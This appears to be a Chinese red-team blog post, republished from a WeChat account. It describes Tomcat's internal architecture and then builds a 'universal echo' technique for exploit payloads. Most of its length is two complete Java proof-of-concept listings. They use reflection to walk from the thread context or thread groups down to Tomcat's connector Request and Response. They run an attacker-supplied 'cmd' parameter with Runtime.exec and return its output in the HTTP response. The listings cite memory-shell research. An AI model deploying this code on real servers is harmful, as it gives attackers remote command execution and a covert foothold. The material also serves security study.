Tomcat架构简析
tomcat的架构图
Server:整个tomcat启动的时候只有一个server
Service:一个server中包含了多个service,表示服务
Container:容器,可以看作是一个servlet容器,包含一些Engine,Host,Context,Wraper等,访问的路径什么的就存放在这里
-
Engine — 引擎 -
Host — 主机 -
Context — 上下文(也就是应用程序) -
Wrapper — 包装器
Connector:连接器,将service和container连接起来,作用就是把来自客户端的请求转发到container容器
Connector内部的组件:
-
Endpoint-用于网络监听 -
Processor-用于协议解析处理 -
Adapter-用于转换,解耦connector和container
ProtocolHandler类
一个Connector中特别主要的一个类,把Endpoint和Processor,Adapter封装到了一起
通过Endpoint的监听功能监听到请求,发送给Processor做协议的处理,将封装的数据传递给Adapter,作为一个于servlet的桥梁
简单点说就是将用户的请求做一个处理,处理一些协议
ServletContext类
每个Web应用都对应一个ServletContext,通过它可以访问到具体的serlvet,主要作为一个应用程序与容器进行交互
一个完整的http请求
假设来自客户的请求为:http://localhost:8080/test/index.jsp 请求被发送到本机端口8080,被在那里侦听的Connector组件捕获:
-
Connector把该请求交给它所在的Service的Engine来处理,并等待Engine的回应 -
Engine获得请求localhost:8080/test/index.jsp,匹配它所有虚拟主机Host -
Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机) -
localhost Host获得请求/test/index.jsp,匹配它所拥有的所有Context -
Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为””的Context去处理) -
path=”/test”的Context获得请求/index.jsp,在它的mapping table中寻找对应的servlet -
Context匹配到URL PATTERN为*.jsp的servlet,对应于JspServlet类,构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet或doPost方法 -
Context把执行完了之后的HttpServletResponse对象返回给Host -
Host把HttpServletResponse对象返回给Engine -
Engine把HttpServletResponse对象返回给Connector -
Connector把HttpServletResponse对象返回给客户browser
参考链接:
-
https://pdai.tech/md/framework/tomcat/tomcat-x-arch.html -
https://www.cnblogs.com/Brake/p/13195737.html -
https://www.cnblogs.com/nice0e3/p/14622879.html#container
使用全局存储的方式实现回显
看一下Http11Processor类,继承了AbstractProcessor类
AbstractProcessor类是tomcat中用来处理http请求逻辑的类
至于他的子类Http11Processor,也是同样的,用来处理http/1.1的具体逻辑
这里关注一下AbstractProcessor中的几个属性
protected final Request request;
protected final Response response;
两个属性都是final的,赋值玩一次就不能改了
这里的request和response都隶属于org.apache.coyote包下面,但是回显的话需要org.apache.catalina.connector.Request这个类
在学习tomcat的时候,我们接触的一般都是HttpServletRequest(接口),HttpServletRequest有一个实现类也叫Request
这两个Request有啥区别:
-
org.apache.catalina.connector.Request
主要用于表示已解析的HTTP请求,并提供方法供上层模块访问请求信息 -
org.apache.coyote.Request
主要用于底层网络请求的处理和解析。
在org.apache.coyote.Request
类中有一个方法返回org.apache.catalina.connector.Request
类
也就是只要获取到了Http11Processor或者AbstractProcessor即可以获取org.apache.catalina.connector.Request
在AbstractProtocol$ConnectionHandler类中就存储了Http11Processor这个类
进入this.register(processor)
看一下RequestInfo rp = processor.getRequest().getRequestProcessor();具体做了什么
getRequest
返回org.apache.coyote.Request对象
getRequestProcessor
这里返回了一个RequestInfo,这个类主要用于收集一些请求相关的数据
继续进入rp.setGlobalProcessor(this.global);
this.global是啥呢
private final RequestGroupInfo global = new RequestGroupInfo();
可以看见是一个RequestGroupInfo对象,这个对象就是用一个list来包含RequestInfo
进入global.addRequestProcessor(this);
调用RequestGroupInfo对象的addRequestProcessor方法,把RequestInfo当作对象传进去
添加到list中去
然后现在的问题就是在哪里存储了AbstractProtocol或者子类了
在CoyoteAdapter中的connector属性中,存在一个protocolHandler字段
ProtocolHandler是一个接口
AbstractProtocol也实现了ProtocolHandler接口
那么随便找一个http11相关的类就行了
所以现在一部分的链子是这样的:
connector
AbstractProtocol$ConnectoinHandler
RequestGroupInfo(global)
RequestInfo
Request
Response
然后问题就变成了寻找Connector
在Tomcat类中,setConnector方法通过org.apache.catalina.core.StandardService#addConnector
存放在connectors
中
最后一步就是如何获取StandardService
了
这里根据网上的解释应该是通过设置对应的加载器来达到获取StandardService
的目的
上面粗略的流程构对应的Poc
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> declaredClass : declaredClasses) {
if (declaredClass.getName().length()==52){
java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandler.setAccessible(true);
Field global = declaredClass.getDeclaredField("global");
global.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);
for (RequestInfo info : requestInfo) {
org.apache.coyote.Request request = (Request) req1.get(info);
org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = request1.getResponse();
String cmd = request1.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
response.getWriter().write(len);
}
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
测试环境: jdk8,tomcat8
这里涉及到tomcat的版本问题,在webappClassLoaderBase.getResources()方法中,我这里的8.5.89的代码如下:
所以没办法只能换一个版本,我这里直接用的9.0.1,在看getResources()
再看运行状况,这次就可以了
为什么获取standardContext这么复杂,因为standardContext在tomcat启动的时候与项目部署的应用程序对应,一个standardContext对应一个web应用程序
而利用线程获取的类加载器获取的standardContext对象中的数据如下
接下去的poc就是一步一步的获取到底层处理http请求的org.apache.catalina.connector.Request进而获取Response来回显数据了
寻找standardContext
前面的方式只能在限定版本中使用,下面找一下其他的方式来实现回显
查阅一些文章之后发现可以通过线程组来获取standardContext
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
看一下这个数组里面具体有哪些
然后确定一下那些线程是可以用的
-
http-nio-8082-Acceptor 在学习tomcat整体架构的时候,稍微了解过Acceptor这个组件,他是用来处理用户发过来的请求的,然后不涉及具体的处理,直接转发给worker线程去处理 -
http-nio-8082-exec* 这里有10个类似的线程,和上面的Acceptor,其实就是worker线程,用来处理具体的逻辑 -
http-nio-8082-Poller 该线程用于处理网络i/o,有请求时,发送到对应的Processor进行处理
在Processor这个组件,在上面的图上的作用是来处理http请求的,并且standardContext和Processor有一定的关系,当Tomcat接收到HTTP请求时,Processor首先会接收并解析请求,然后根据请求的URL路径等信息,将请求传递给适当的StandardContext。
和Processor有关的两个线程http-nio-8082-Polle http-nio-8082-Acceptor
看一下Poller这个类,是NioEndpoint的内部类,实现了Runnable接口
整体的代码
package v1f18;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.*;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
@WebServlet("/h")
public class hello extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
try {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object obj;
String uri;
String serverName;
StandardContext standardContext = null;
for (Thread thread: threads
) {
if (thread==null || thread.getName().contains("exec")){
continue;
}
Object target = this.getField(thread, "target");
//判断一下target是否为Runnable的实现类
if (!(target instanceof Runnable)){
continue;
}
try {
obj = this.getField(this.getField(this.getField(target, "this$0"), "handler"), "global");
}catch (Exception e){
continue;
}
if (obj == null){
continue;
}
ArrayList processors = (ArrayList)this.getField(obj, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
org.apache.coyote.Request req = (org.apache.coyote.Request) getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
// 等于-1的时候表示这个请求无效
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
serverName = (String) getField(serverNameMB, "strValue");
if (serverName == null){
serverName = serverNameMB.toString();
}
if (serverName == null){
serverName = serverNameMB.getString();
}
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
uri = (String) getField(uriMB, "strValue");
if (uri == null){
uri = uriMB.toString();
}
if (uri == null){
uri = uriMB.getString();
}
standardContext = this.getStandardContext(uri, serverName);
}
}
Field context = standardContext.getClass().getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);
Field service = applicationContext.getClass().getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);
ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handler.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
String cmd = request2.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
int len;
while ((len = inputStream.read())!=-1){
response1.getWriter().write(len);
}
}
} catch (NoSuchFieldException | IllegalAccessException | IOException e) {
e.printStackTrace();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public StandardContext getStandardContext(String uri,String serverName) throws Exception {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object endPoint = null;
try {
endPoint = getField(thread, "this$0");
} catch (Exception e) {
}
if (endPoint == null) {
try {
endPoint = this.getField(target, "endpoint");
} catch (Exception e) {
return null;
}
}
Object service = getField(getField(getField(getField(getField(endPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
} catch (Exception e) {
}
if (engine == null) {
engine = (StandardEngine) getField(service, "engine");
}
children = (HashMap) getField(engine, "children");
StandardHost standardHost = (StandardHost) children.get(serverName);
if (standardHost == null){
for (Object key: children.keySet()){
Object o = children.get(key);
if (o.getClass().equals(StandardHost.class)){
standardHost = (StandardHost) o;
}else {
throw new RuntimeException();
}
}
}
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()) {
String contextKey = (String) iterator.next();
if (!(uri.startsWith(contextKey))) {
continue;
}
StandardContext s = (StandardContext) children.get(contextKey);
return s;
}
}
}
return null;
}
private Object getField(Object obj, String fieldName) throws Exception{
Class<?> objclass = obj.getClass();
while (objclass != obj){
try {
Field declaredField = objclass.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(obj);
}catch (Exception e){
}
objclass = objclass.getSuperclass();
}
return null;
}
}
这里修改了一下参考的poc,在请求为localhost的时候是正常运行的,但是一旦用外网ip来访问,或者使用域名的话,就会报空指针异常,所以修改了一下代码
我这里测试了8和9的tomcat,7版本需要改一些东西
参考:
https://exp10it.cn/2022/11/tomcat-filter-型内存马分析/#编写内存马
http://wjlshare.com/archives/1529
https://xz.aliyun.com/t/9914
https://cloud.tencent.com/developer/article/2005599
https://sumsec.me/2021/Tomcat通用回显学习笔记.html
加下方wx,拉你一起进群学习
原文始发于微信公众号(红队蓝军):tomcat通用回显